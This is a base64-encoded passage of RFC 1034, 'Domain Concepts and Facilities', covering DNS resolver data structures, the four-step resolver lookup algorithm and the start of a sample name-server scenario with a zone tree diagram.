GhlIHJlY3Vyc2l2ZSByZXF1ZXN0cy4gIFRoaXMgdHlwZSBvZiByZXNvbHZlcgpwcmVzdW1hYmx5IG5lZWRzIHRoZSBpbmZvcm1hdGlvbiBpbiBhIGNvbmZpZ3VyYXRpb24gZmlsZSwgc2luY2UgaXQKcHJvYmFibHkgbGFja3MgdGhlIHNvcGhpc3RpY2F0aW9uIHRvIGxvY2F0ZSBpdCBpbiB0aGUgZG9tYWluIGRhdGFiYXNlLgpUaGUgdXNlciBhbHNvIG5lZWRzIHRvIHZlcmlmeSB0aGF0IHRoZSBsaXN0ZWQgc2VydmVycyB3aWxsIHBlcmZvcm0gdGhlCnJlY3Vyc2l2ZSBzZXJ2aWNlOyBhIG5hbWUgc2VydmVyIGlzIGZyZWUgdG8gcmVmdXNlIHRvIHBlcmZvcm0gcmVjdXJzaXZlCnNlcnZpY2VzIGZvciBhbnkgb3IgYWxsIGNsaWVudHMuICBUaGUgdXNlciBzaG91bGQgY29uc3VsdCB0aGUgbG9jYWwKc3lzdGVtIGFkbWluaXN0cmF0b3IgdG8gZmluZCBuYW1lIHNlcnZlcnMgd2lsbGluZyB0byBwZXJmb3JtIHRoZQpzZXJ2aWNlLgoKVGhpcyB0eXBlIG9mIHNlcnZpY2Ugc3VmZmVycyBmcm9tIHNvbWUgZHJhd2JhY2tzLiAgU2luY2UgdGhlIHJlY3Vyc2l2ZQpyZXF1ZXN0cyBtYXkgdGFrZSBhbiBhcmJpdHJhcnkgYW1vdW50IG9mIHRpbWUgdG8gcGVyZm9ybSwgdGhlIHN0dWIgbWF5CmhhdmUgZGlmZmljdWx0eSBvcHRpbWl6aW5nIHJldHJhbnNtaXNzaW9uIGludGVydmFscyB0byBkZWFsIHdpdGggYm90aApsb3N0IFVEUCBwYWNrZXRzIGFuZCBkZWFkIHNlcnZlcnM7IHRoZSBuYW1lIHNlcnZlciBjYW4gYmUgZWFzaWx5Cm92ZXJsb2FkZWQgYnkgdG9vIHplYWxvdXMgYSBzdHViIGlmIGl0IGludGVycHJldHMgcmV0cmFuc21pc3Npb25zIGFzIG5ldwpyZXF1ZXN0cy4gIFVzZSBvZiBUQ1AgbWF5IGJlIGFuIGFuc3dlciwgYnV0IFRDUCBtYXkgd2VsbCBwbGFjZSBidXJkZW5zCm9uIHRoZSBob3N0J3MgY2FwYWJpbGl0aWVzIHdoaWNoIGFyZSBzaW1pbGFyIHRvIHRob3NlIG9mIGEgcmVhbApyZXNvbHZlci4KCjUuMy4yLiBSZXNvdXJjZXMKCkluIGFkZGl0aW9uIHRvIGl0cyBvd24gcmVzb3VyY2VzLCB0aGUgcmVzb2x2ZXIgbWF5IGFsc28gaGF2ZSBzaGFyZWQKYWNjZXNzIHRvIHpvbmVzIG1haW50YWluZWQgYnkgYSBsb2NhbCBuYW1lIHNlcnZlci4gIFRoaXMgZ2l2ZXMgdGhlCnJlc29sdmVyIHRoZSBhZHZhbnRhZ2Ugb2YgbW9yZSByYXBpZCBhY2Nlc3MsIGJ1dCB0aGUgcmVzb2x2ZXIgbXVzdCBiZQpjYXJlZnVsIHRvIG5ldmVyIGxldCBjYWNoZWQgaW5mb3JtYXRpb24gb3ZlcnJpZGUgem9uZSBkYXRhLiAgSW4gdGhpcwpkaXNjdXNzaW9uIHRoZSB0ZXJtICJsb2NhbCBpbmZvcm1hdGlvbiIgaXMgbWVhbnQgdG8gbWVhbiB0aGUgdW5pb24gb2YKdGhlIGNhY2hlIGFuZCBzdWNoIHNoYXJlZCB6b25lcywgd2l0aCB0aGUgdW5kZXJzdGFuZGluZyB0aGF0CgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDMyXQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCmF1dGhvcml0YXRpdmUgZGF0YSBpcyBhbHdheXMgdXNlZCBpbiBwcmVmZXJlbmNlIHRvIGNhY2hlZCBkYXRhIHdoZW4gYm90aAphcmUgcHJlc2VudC4KClRoZSBmb2xsb3dpbmcgcmVzb2x2ZXIgYWxnb3JpdGhtIGFzc3VtZXMgdGhhdCBhbGwgZnVuY3Rpb25zIGhhdmUgYmVlbgpjb252ZXJ0ZWQgdG8gYSBnZW5lcmFsIGxvb2t1cCBmdW5jdGlvbiwgYW5kIHVzZXMgdGhlIGZvbGxvd2luZyBkYXRhCnN0cnVjdHVyZXMgdG8gcmVwcmVzZW50IHRoZSBzdGF0ZSBvZiBhIHJlcXVlc3QgaW4gcHJvZ3Jlc3MgaW4gdGhlCnJlc29sdmVyOgoKU05BTUUgICAgICAgICAgIHRoZSBkb21haW4gbmFtZSB3ZSBhcmUgc2VhcmNoaW5nIGZvci4KClNUWVBFICAgICAgICAgICB0aGUgUVRZUEUgb2YgdGhlIHNlYXJjaCByZXF1ZXN0LgoKU0NMQVNTICAgICAgICAgIHRoZSBRQ0xBU1Mgb2YgdGhlIHNlYXJjaCByZXF1ZXN0LgoKU0xJU1QgICAgICAgICAgIGEgc3RydWN0dXJlIHdoaWNoIGRlc2NyaWJlcyB0aGUgbmFtZSBzZXJ2ZXJzIGFuZCB0aGUKICAgICAgICAgICAgICAgIHpvbmUgd2hpY2ggdGhlIHJlc29sdmVyIGlzIGN1cnJlbnRseSB0cnlpbmcgdG8gcXVlcnkuCiAgICAgICAgICAgICAgICBUaGlzIHN0cnVjdHVyZSBrZWVwcyB0cmFjayBvZiB0aGUgcmVzb2x2ZXIncyBjdXJyZW50CiAgICAgICAgICAgICAgICBiZXN0IGd1ZXNzIGFib3V0IHdoaWNoIG5hbWUgc2VydmVycyBob2xkIHRoZSBkZXNpcmVkCiAgICAgICAgICAgICAgICBpbmZvcm1hdGlvbjsgaXQgaXMgdXBkYXRlZCB3aGVuIGFycml2aW5nIGluZm9ybWF0aW9uCiAgICAgICAgICAgICAgICBjaGFuZ2VzIHRoZSBndWVzcy4gIFRoaXMgc3RydWN0dXJlIGluY2x1ZGVzIHRoZQogICAgICAgICAgICAgICAgZXF1aXZhbGVudCBvZiBhIHpvbmUgbmFtZSwgdGhlIGtub3duIG5hbWUgc2VydmVycyBmb3IKICAgICAgICAgICAgICAgIHRoZSB6b25lLCB0aGUga25vd24gYWRkcmVzc2VzIGZvciB0aGUgbmFtZSBzZXJ2ZXJzLCBhbmQKICAgICAgICAgICAgICAgIGhpc3RvcnkgaW5mb3JtYXRpb24gd2hpY2ggY2FuIGJlIHVzZWQgdG8gc3VnZ2VzdCB3aGljaAogICAgICAgICAgICAgICAgc2VydmVyIGlzIGxpa2VseSB0byBiZSB0aGUgYmVzdCBvbmUgdG8gdHJ5IG5leHQuICBUaGUKICAgICAgICAgICAgICAgIHpvbmUgbmFtZSBlcXVpdmFsZW50IGlzIGEgbWF0Y2ggY291bnQgb2YgdGhlIG51bWJlciBvZgogICAgICAgICAgICAgICAgbGFiZWxzIGZyb20gdGhlIHJvb3QgZG93biB3aGljaCBTTkFNRSBoYXMgaW4gY29tbW9uIHdpdGgKICAgICAgICAgICAgICAgIHRoZSB6b25lIGJlaW5nIHF1ZXJpZWQ7IHRoaXMgaXMgdXNlZCBhcyBhIG1lYXN1cmUgb2YgaG93CiAgICAgICAgICAgICAgICAiY2xvc2UiIHRoZSByZXNvbHZlciBpcyB0byBTTkFNRS4KClNCRUxUICAgICAgICAgICBhICJzYWZldHkgYmVsdCIgc3RydWN0dXJlIG9mIHRoZSBzYW1lIGZvcm0gYXMgU0xJU1QsCiAgICAgICAgICAgICAgICB3aGljaCBpcyBpbml0aWFsaXplZCBmcm9tIGEgY29uZmlndXJhdGlvbiBmaWxlLCBhbmQKICAgICAgICAgICAgICAgIGxpc3RzIHNlcnZlcnMgd2hpY2ggc2hvdWxkIGJlIHVzZWQgd2hlbiB0aGUgcmVzb2x2ZXIKICAgICAgICAgICAgICAgIGRvZXNuJ3QgaGF2ZSBhbnkgbG9jYWwgaW5mb3JtYXRpb24gdG8gZ3VpZGUgbmFtZSBzZXJ2ZXIKICAgICAgICAgICAgICAgIHNlbGVjdGlvbi4gIFRoZSBtYXRjaCBjb3VudCB3aWxsIGJlIC0xIHRvIGluZGljYXRlIHRoYXQKICAgICAgICAgICAgICAgIG5vIGxhYmVscyBhcmUga25vd24gdG8gbWF0Y2guCgpDQUNIRSAgICAgICAgICAgQSBzdHJ1Y3R1cmUgd2hpY2ggc3RvcmVzIHRoZSByZXN1bHRzIGZyb20gcHJldmlvdXMKICAgICAgICAgICAgICAgIHJlc3BvbnNlcy4gIFNpbmNlIHJlc29sdmVycyBhcmUgcmVzcG9uc2libGUgZm9yCiAgICAgICAgICAgICAgICBkaXNjYXJkaW5nIG9sZCBSUnMgd2hvc2UgVFRMIGhhcyBleHBpcmVkLCBtb3N0CiAgICAgICAgICAgICAgICBpbXBsZW1lbnRhdGlvbnMgY29udmVydCB0aGUgaW50ZXJ2YWwgc3BlY2lmaWVkIGluCiAgICAgICAgICAgICAgICBhcnJpdmluZyBSUnMgdG8gc29tZSBzb3J0IG9mIGFic29sdXRlIHRpbWUgd2hlbiB0aGUgUlIKICAgICAgICAgICAgICAgIGlzIHN0b3JlZCBpbiB0aGUgY2FjaGUuICBJbnN0ZWFkIG9mIGNvdW50aW5nIHRoZSBUVExzCiAgICAgICAgICAgICAgICBkb3duIGluZGl2aWR1YWxseSwgdGhlIHJlc29sdmVyIGp1c3QgaWdub3JlcyBvciBkaXNjYXJkcwogICAgICAgICAgICAgICAgb2xkIFJScyB3aGVuIGl0IHJ1bnMgYWNyb3NzIHRoZW0gaW4gdGhlIGNvdXJzZSBvZiBhCiAgICAgICAgICAgICAgICBzZWFyY2gsIG9yIGRpc2NhcmRzIHRoZW0gZHVyaW5nIHBlcmlvZGljIHN3ZWVwcyB0bwogICAgICAgICAgICAgICAgcmVjbGFpbSB0aGUgbWVtb3J5IGNvbnN1bWVkIGJ5IG9sZCBSUnMuCgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMzNdCgwKUkZDIDEwMzQgICAgICAgICAgICAgRG9tYWluIENvbmNlcHRzIGFuZCBGYWNpbGl0aWVzICAgICAgICBOb3ZlbWJlciAxOTg3CgoKNS4zLjMuIEFsZ29yaXRobQoKVGhlIHRvcCBsZXZlbCBhbGdvcml0aG0gaGFzIGZvdXIgc3RlcHM6CgogICAxLiBTZWUgaWYgdGhlIGFuc3dlciBpcyBpbiBsb2NhbCBpbmZvcm1hdGlvbiwgYW5kIGlmIHNvIHJldHVybgogICAgICBpdCB0byB0aGUgY2xpZW50LgoKICAgMi4gRmluZCB0aGUgYmVzdCBzZXJ2ZXJzIHRvIGFzay4KCiAgIDMuIFNlbmQgdGhlbSBxdWVyaWVzIHVudGlsIG9uZSByZXR1cm5zIGEgcmVzcG9uc2UuCgogICA0LiBBbmFseXplIHRoZSByZXNwb25zZSwgZWl0aGVyOgoKICAgICAgICAgYS4gaWYgdGhlIHJlc3BvbnNlIGFuc3dlcnMgdGhlIHF1ZXN0aW9uIG9yIGNvbnRhaW5zIGEgbmFtZQogICAgICAgICAgICBlcnJvciwgY2FjaGUgdGhlIGRhdGEgYXMgd2VsbCBhcyByZXR1cm5pbmcgaXQgYmFjayB0bwogICAgICAgICAgICB0aGUgY2xpZW50LgoKICAgICAgICAgYi4gaWYgdGhlIHJlc3BvbnNlIGNvbnRhaW5zIGEgYmV0dGVyIGRlbGVnYXRpb24gdG8gb3RoZXIKICAgICAgICAgICAgc2VydmVycywgY2FjaGUgdGhlIGRlbGVnYXRpb24gaW5mb3JtYXRpb24sIGFuZCBnbyB0bwogICAgICAgICAgICBzdGVwIDIuCgogICAgICAgICBjLiBpZiB0aGUgcmVzcG9uc2Ugc2hvd3MgYSBDTkFNRSBhbmQgdGhhdCBpcyBub3QgdGhlCiAgICAgICAgICAgIGFuc3dlciBpdHNlbGYsIGNhY2hlIHRoZSBDTkFNRSwgY2hhbmdlIHRoZSBTTkFNRSB0byB0aGUKICAgICAgICAgICAgY2Fub25pY2FsIG5hbWUgaW4gdGhlIENOQU1FIFJSIGFuZCBnbyB0byBzdGVwIDEuCgogICAgICAgICBkLiBpZiB0aGUgcmVzcG9uc2Ugc2hvd3MgYSBzZXJ2ZXJzIGZhaWx1cmUgb3Igb3RoZXIKICAgICAgICAgICAgYml6YXJyZSBjb250ZW50cywgZGVsZXRlIHRoZSBzZXJ2ZXIgZnJvbSB0aGUgU0xJU1QgYW5kCiAgICAgICAgICAgIGdvIGJhY2sgdG8gc3RlcCAzLgoKU3RlcCAxIHNlYXJjaGVzIHRoZSBjYWNoZSBmb3IgdGhlIGRlc2lyZWQgZGF0YS4gSWYgdGhlIGRhdGEgaXMgaW4gdGhlCmNhY2hlLCBpdCBpcyBhc3N1bWVkIHRvIGJlIGdvb2QgZW5vdWdoIGZvciBub3JtYWwgdXNlLiAgU29tZSByZXNvbHZlcnMKaGF2ZSBhbiBvcHRpb24gYXQgdGhlIHVzZXIgaW50ZXJmYWNlIHdoaWNoIHdpbGwgZm9yY2UgdGhlIHJlc29sdmVyIHRvCmlnbm9yZSB0aGUgY2FjaGVkIGRhdGEgYW5kIGNvbnN1bHQgd2l0aCBhbiBhdXRob3JpdGF0aXZlIHNlcnZlci4gIFRoaXMKaXMgbm90IHJlY29tbWVuZGVkIGFzIHRoZSBkZWZhdWx0LiAgSWYgdGhlIHJlc29sdmVyIGhhcyBkaXJlY3QgYWNjZXNzIHRvCmEgbmFtZSBzZXJ2ZXIncyB6b25lcywgaXQgc2hvdWxkIGNoZWNrIHRvIHNlZSBpZiB0aGUgZGVzaXJlZCBkYXRhIGlzCnByZXNlbnQgaW4gYXV0aG9yaXRhdGl2ZSBmb3JtLCBhbmQgaWYgc28sIHVzZSB0aGUgYXV0aG9yaXRhdGl2ZSBkYXRhIGluCnByZWZlcmVuY2UgdG8gY2FjaGVkIGRhdGEuCgpTdGVwIDIgbG9va3MgZm9yIGEgbmFtZSBzZXJ2ZXIgdG8gYXNrIGZvciB0aGUgcmVxdWlyZWQgZGF0YS4gIFRoZQpnZW5lcmFsIHN0cmF0ZWd5IGlzIHRvIGxvb2sgZm9yIGxvY2FsbHktYXZhaWxhYmxlIG5hbWUgc2VydmVyIFJScywKc3RhcnRpbmcgYXQgU05BTUUsIHRoZW4gdGhlIHBhcmVudCBkb21haW4gbmFtZSBvZiBTTkFNRSwgdGhlCmdyYW5kcGFyZW50LCBhbmQgc28gb24gdG93YXJkIHRoZSByb290LiAgVGh1cyBpZiBTTkFNRSB3ZXJlCk1vY2thcGV0cmlzLklTSS5FRFUsIHRoaXMgc3RlcCB3b3VsZCBsb29rIGZvciBOUyBSUnMgZm9yCk1vY2thcGV0cmlzLklTSS5FRFUsIHRoZW4gSVNJLkVEVSwgdGhlbiBFRFUsIGFuZCB0aGVuIC4gKHRoZSByb290KS4KVGhlc2UgTlMgUlJzIGxpc3QgdGhlIG5hbWVzIG9mIGhvc3RzIGZvciBhIHpvbmUgYXQgb3IgYWJvdmUgU05BTUUuICBDb3B5CnRoZSBuYW1lcyBpbnRvIFNMSVNULiAgU2V0IHVwIHRoZWlyIGFkZHJlc3NlcyB1c2luZyBsb2NhbCBkYXRhLiAgSXQgbWF5CmJlIHRoZSBjYXNlIHRoYXQgdGhlIGFkZHJlc3NlcyBhcmUgbm90IGF2YWlsYWJsZS4gIFRoZSByZXNvbHZlciBoYXMgbWFueQpjaG9pY2VzIGhlcmU7IHRoZSBiZXN0IGlzIHRvIHN0YXJ0IHBhcmFsbGVsIHJlc29sdmVyIHByb2Nlc3NlcyBsb29raW5nCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDM0XQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCmZvciB0aGUgYWRkcmVzc2VzIHdoaWxlIGNvbnRpbnVpbmcgb253YXJkIHdpdGggdGhlIGFkZHJlc3NlcyB3aGljaCBhcmUKYXZhaWxhYmxlLiAgT2J2aW91c2x5LCB0aGUgZGVzaWduIGNob2ljZXMgYW5kIG9wdGlvbnMgYXJlIGNvbXBsaWNhdGVkCmFuZCBhIGZ1bmN0aW9uIG9mIHRoZSBsb2NhbCBob3N0J3MgY2FwYWJpbGl0aWVzLiAgVGhlIHJlY29tbWVuZGVkCnByaW9yaXRpZXMgZm9yIHRoZSByZXNvbHZlciBkZXNpZ25lciBhcmU6CgogICAxLiBCb3VuZCB0aGUgYW1vdW50IG9mIHdvcmsgKHBhY2tldHMgc2VudCwgcGFyYWxsZWwgcHJvY2Vzc2VzCiAgICAgIHN0YXJ0ZWQpIHNvIHRoYXQgYSByZXF1ZXN0IGNhbid0IGdldCBpbnRvIGFuIGluZmluaXRlIGxvb3Agb3IKICAgICAgc3RhcnQgb2ZmIGEgY2hhaW4gcmVhY3Rpb24gb2YgcmVxdWVzdHMgb3IgcXVlcmllcyB3aXRoIG90aGVyCiAgICAgIGltcGxlbWVudGF0aW9ucyBFVkVOIElGIFNPTUVPTkUgSEFTIElOQ09SUkVDVExZIENPTkZJR1VSRUQKICAgICAgU09NRSBEQVRBLgoKICAgMi4gR2V0IGJhY2sgYW4gYW5zd2VyIGlmIGF0IGFsbCBwb3NzaWJsZS4KCiAgIDMuIEF2b2lkIHVubmVjZXNzYXJ5IHRyYW5zbWlzc2lvbnMuCgogICA0LiBHZXQgdGhlIGFuc3dlciBhcyBxdWlja2x5IGFzIHBvc3NpYmxlLgoKSWYgdGhlIHNlYXJjaCBmb3IgTlMgUlJzIGZhaWxzLCB0aGVuIHRoZSByZXNvbHZlciBpbml0aWFsaXplcyBTTElTVCBmcm9tCnRoZSBzYWZldHkgYmVsdCBTQkVMVC4gIFRoZSBiYXNpYyBpZGVhIGlzIHRoYXQgd2hlbiB0aGUgcmVzb2x2ZXIgaGFzIG5vCmlkZWEgd2hhdCBzZXJ2ZXJzIHRvIGFzaywgaXQgc2hvdWxkIHVzZSBpbmZvcm1hdGlvbiBmcm9tIGEgY29uZmlndXJhdGlvbgpmaWxlIHRoYXQgbGlzdHMgc2V2ZXJhbCBzZXJ2ZXJzIHdoaWNoIGFyZSBleHBlY3RlZCB0byBiZSBoZWxwZnVsLgpBbHRob3VnaCB0aGVyZSBhcmUgc3BlY2lhbCBzaXR1YXRpb25zLCB0aGUgdXN1YWwgY2hvaWNlIGlzIHR3byBvZiB0aGUKcm9vdCBzZXJ2ZXJzIGFuZCB0d28gb2YgdGhlIHNlcnZlcnMgZm9yIHRoZSBob3N0J3MgZG9tYWluLiAgVGhlIHJlYXNvbgpmb3IgdHdvIG9mIGVhY2ggaXMgZm9yIHJlZHVuZGFuY3kuICBUaGUgcm9vdCBzZXJ2ZXJzIHdpbGwgcHJvdmlkZQpldmVudHVhbCBhY2Nlc3MgdG8gYWxsIG9mIHRoZSBkb21haW4gc3BhY2UuICBUaGUgdHdvIGxvY2FsIHNlcnZlcnMgd2lsbAphbGxvdyB0aGUgcmVzb2x2ZXIgdG8gY29udGludWUgdG8gcmVzb2x2ZSBsb2NhbCBuYW1lcyBpZiB0aGUgbG9jYWwKbmV0d29yayBiZWNvbWVzIGlzb2xhdGVkIGZyb20gdGhlIGludGVybmV0IGR1ZSB0byBnYXRld2F5IG9yIGxpbmsKZmFpbHVyZS4KCkluIGFkZGl0aW9uIHRvIHRoZSBuYW1lcyBhbmQgYWRkcmVzc2VzIG9mIHRoZSBzZXJ2ZXJzLCB0aGUgU0xJU1QgZGF0YQpzdHJ1Y3R1cmUgY2FuIGJlIHNvcnRlZCB0byB1c2UgdGhlIGJlc3Qgc2VydmVycyBmaXJzdCwgYW5kIHRvIGluc3VyZQp0aGF0IGFsbCBhZGRyZXNzZXMgb2YgYWxsIHNlcnZlcnMgYXJlIHVzZWQgaW4gYSByb3VuZC1yb2JpbiBtYW5uZXIuICBUaGUKc29ydGluZyBjYW4gYmUgYSBzaW1wbGUgZnVuY3Rpb24gb2YgcHJlZmVycmluZyBhZGRyZXNzZXMgb24gdGhlIGxvY2FsCm5ldHdvcmsgb3ZlciBvdGhlcnMsIG9yIG1heSBpbnZvbHZlIHN0YXRpc3RpY3MgZnJvbSBwYXN0IGV2ZW50cywgc3VjaCBhcwpwcmV2aW91cyByZXNwb25zZSB0aW1lcyBhbmQgYmF0dGluZyBhdmVyYWdlcy4KClN0ZXAgMyBzZW5kcyBvdXQgcXVlcmllcyB1bnRpbCBhIHJlc3BvbnNlIGlzIHJlY2VpdmVkLiAgVGhlIHN0cmF0ZWd5IGlzCnRvIGN5Y2xlIGFyb3VuZCBhbGwgb2YgdGhlIGFkZHJlc3NlcyBmb3IgYWxsIG9mIHRoZSBzZXJ2ZXJzIHdpdGggYQp0aW1lb3V0IGJldHdlZW4gZWFjaCB0cmFuc21pc3Npb24uICBJbiBwcmFjdGljZSBpdCBpcyBpbXBvcnRhbnQgdG8gdXNlCmFsbCBhZGRyZXNzZXMgb2YgYSBtdWx0aWhvbWVkIGhvc3QsIGFuZCB0b28gYWdncmVzc2l2ZSBhIHJldHJhbnNtaXNzaW9uCnBvbGljeSBhY3R1YWxseSBzbG93cyByZXNwb25zZSB3aGVuIHVzZWQgYnkgbXVsdGlwbGUgcmVzb2x2ZXJzCmNvbnRlbmRpbmcgZm9yIHRoZSBzYW1lIG5hbWUgc2VydmVyIGFuZCBldmVuIG9jY2FzaW9uYWxseSBmb3IgYSBzaW5nbGUKcmVzb2x2ZXIuICBTTElTVCB0eXBpY2FsbHkgY29udGFpbnMgZGF0YSB2YWx1ZXMgdG8gY29udHJvbCB0aGUgdGltZW91dHMKYW5kIGtlZXAgdHJhY2sgb2YgcHJldmlvdXMgdHJhbnNtaXNzaW9ucy4KClN0ZXAgNCBpbnZvbHZlcyBhbmFseXppbmcgcmVzcG9uc2VzLiAgVGhlIHJlc29sdmVyIHNob3VsZCBiZSBoaWdobHkKcGFyYW5vaWQgaW4gaXRzIHBhcnNpbmcgb2YgcmVzcG9uc2VzLiAgSXQgc2hvdWxkIGFsc28gY2hlY2sgdGhhdCB0aGUKcmVzcG9uc2UgbWF0Y2hlcyB0aGUgcXVlcnkgaXQgc2VudCB1c2luZyB0aGUgSUQgZmllbGQgaW4gdGhlIHJlc3BvbnNlLgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSAzNV0KDApSRkMgMTAzNCAgICAgICAgICAgICBEb21haW4gQ29uY2VwdHMgYW5kIEZhY2lsaXRpZXMgICAgICAgIE5vdmVtYmVyIDE5ODcKCgpUaGUgaWRlYWwgYW5zd2VyIGlzIG9uZSBmcm9tIGEgc2VydmVyIGF1dGhvcml0YXRpdmUgZm9yIHRoZSBxdWVyeSB3aGljaAplaXRoZXIgZ2l2ZXMgdGhlIHJlcXVpcmVkIGRhdGEgb3IgYSBuYW1lIGVycm9yLiAgVGhlIGRhdGEgaXMgcGFzc2VkIGJhY2sKdG8gdGhlIHVzZXIgYW5kIGVudGVyZWQgaW4gdGhlIGNhY2hlIGZvciBmdXR1cmUgdXNlIGlmIGl0cyBUVEwgaXMKZ3JlYXRlciB0aGFuIHplcm8uCgpJZiB0aGUgcmVzcG9uc2Ugc2hvd3MgYSBkZWxlZ2F0aW9uLCB0aGUgcmVzb2x2ZXIgc2hvdWxkIGNoZWNrIHRvIHNlZQp0aGF0IHRoZSBkZWxlZ2F0aW9uIGlzICJjbG9zZXIiIHRvIHRoZSBhbnN3ZXIgdGhhbiB0aGUgc2VydmVycyBpbiBTTElTVAphcmUuICBUaGlzIGNhbiBiZSBkb25lIGJ5IGNvbXBhcmluZyB0aGUgbWF0Y2ggY291bnQgaW4gU0xJU1Qgd2l0aCB0aGF0CmNvbXB1dGVkIGZyb20gU05BTUUgYW5kIHRoZSBOUyBSUnMgaW4gdGhlIGRlbGVnYXRpb24uICBJZiBub3QsIHRoZSByZXBseQppcyBib2d1cyBhbmQgc2hvdWxkIGJlIGlnbm9yZWQuICBJZiB0aGUgZGVsZWdhdGlvbiBpcyB2YWxpZCB0aGUgTlMKZGVsZWdhdGlvbiBSUnMgYW5kIGFueSBhZGRyZXNzIFJScyBmb3IgdGhlIHNlcnZlcnMgc2hvdWxkIGJlIGNhY2hlZC4KVGhlIG5hbWUgc2VydmVycyBhcmUgZW50ZXJlZCBpbiB0aGUgU0xJU1QsIGFuZCB0aGUgc2VhcmNoIGlzIHJlc3RhcnRlZC4KCklmIHRoZSByZXNwb25zZSBjb250YWlucyBhIENOQU1FLCB0aGUgc2VhcmNoIGlzIHJlc3RhcnRlZCBhdCB0aGUgQ05BTUUKdW5sZXNzIHRoZSByZXNwb25zZSBoYXMgdGhlIGRhdGEgZm9yIHRoZSBjYW5vbmljYWwgbmFtZSBvciBpZiB0aGUgQ05BTUUKaXMgdGhlIGFuc3dlciBpdHNlbGYuCgpEZXRhaWxzIGFuZCBpbXBsZW1lbnRhdGlvbiBoaW50cyBjYW4gYmUgZm91bmQgaW4gW1JGQy0xMDM1XS4KCjYuIEEgU0NFTkFSSU8KCkluIG91ciBzYW1wbGUgZG9tYWluIHNwYWNlLCBzdXBwb3NlIHdlIHdhbnRlZCBzZXBhcmF0ZSBhZG1pbmlzdHJhdGl2ZQpjb250cm9sIGZvciB0aGUgcm9vdCwgTUlMLCBFRFUsIE1JVC5FRFUgYW5kIElTSS5FRFUgem9uZXMuICBXZSBtaWdodAphbGxvY2F0ZSBuYW1lIHNlcnZlcnMgYXMgZm9sbG93czoKCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwoQy5JU0kuRURVLFNSSS1OSUMuQVJQQQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgQS5JU0kuRURVKQogICAgICAgICAgICAgKy0tLS0tLS0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLS0tLS0tLS0tLS0rCiAgICAgICAgICAgICB8ICAgICAgICAgICAgICAgICAgICAgfCAgICAgICAgICAgICAgICAgIHwKICAgICAgICAgICAgTUlMICAgICAgICAgICAgICAgICAgIEVEVSAgICAgICAgICAgICAgICBBUlBBCiAgICAgICAgICAgICB8KFNSSS1OSUMuQVJQQSwgICAgICAgfChTUkktTklDLkFSUEEsICAgIHwKICAgICAgICAgICAgIHwgQS5JU0kuRURVICAgICAgICAgICB8IEMuSVNJLkVEVSkgICAgICAgfAogICAgICAgKy0tLS0tKy0tLS0tKyAgICAgICAgICAgICAgIHwgICAgICstLS0tLS0rLS0tLS0rLS0tLS0rCiAgICAgICB8ICAgICB8ICAgICB8ICAgICAgICAgICAgICAgfCAgICAgfCAgICAgIHwgICAgICAgICAgIHwKICAgICAgQlJMICBOT1NDICBEQVJQQSAgICAgICAgICAgICB8ICBJTi1BRERSICBTUkktTklDICAgICBBQ0MKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8CiAgICAgICArLS0tLS0tLS0rLS0tLS0tLS0tLS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLSsKICAgICAgIHwgICAgICAgIHwgICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICAgfCAgICAgICAgfAogICAgICBVQ0kgICAgICBNSVQgICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgIFVERUwgICAgIFlBTEUKICAgICAgICAgICAgICAgIHwoWFguTENTLk1JVC5FRFUsIElTSQogICAgICAgICAgICAgICAgfEFDSElMTEVTLk1JVC5FRFUpIHwoVkFYQS5JU0kuRURVLFZFTkVSQS5JU0kuRURVLAogICAgICAgICAgICArLS0tKy0tLSsgICAgICAgICAgICAgIHwgQS5JU0kuRURVKQogICAgICAgICAgICB8ICAgICAgIHwgICAgICAgICAgICAgIHwKICAgICAgICAgICBMQ1MgICBBQ0hJTExFUyArLS0rLS0tLS0rLS0tLS0rLS0tLS0tLS0rCiAgICAgICAgICAgIHwgICAgICAgICAgICAgfCAgfCAgICAgfCAgICAgfCAgICAgICAgfAogICAgICAgICAgICBYWCAgICAgICAgICAgIEEgIEMgICBWQVhBICBWRU5FUkEgTW9ja2FwZXRyaXMKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDM2XQoMClJGQyAxMDM0ICAgICAgICAgICAgIERvbWFpbiBDb25jZXB0cyBhbmQgRmFjaWxpdGllcyAgICAgICAgTm92ZW1iZXIgMTk4NwoKCkluIHRoaXMgZXhhbXBsZSwgdGhlIGF1dGhvcml0YXRpdmUgbmFtZSBzZXJ2ZXIgaXMgc2hvd24gaW4gcGFyZW50aGVzZXMKYXQgdGhlIHBvaW50IGluIHRoZSBkb21haW4gdHJlZSBhdCB3aGljaCBpcyBhc3N1bWVzIGNvbnRyb2wuCgpUaHVzIHRoZSByb290IG5hbWUgc2VydmVycyBhcmUgb24gQy5JU0kuRURVLCBTUkktTklDLkFSUEEsIGFuZApBLklTSS5FRFUuICBUaGUgTUlMIGRvbWFpbiBpcyBzZXJ2ZWQgYnkgU1JJLU5JQy5BUlBBIGFuZCBBLklTSS5FRFUuICBUaGUKRURVIGRvbWFpbiBpcyBzZXJ2ZWQgYnkgU1JJLU5JQy5BUlBBLiBhbmQgQy5JU0kuRURVLiAgTm90ZSB0aGF0IHNlcnZlcnMKbWF5IGhhdmUgem9uZXMgd2hpY2ggYX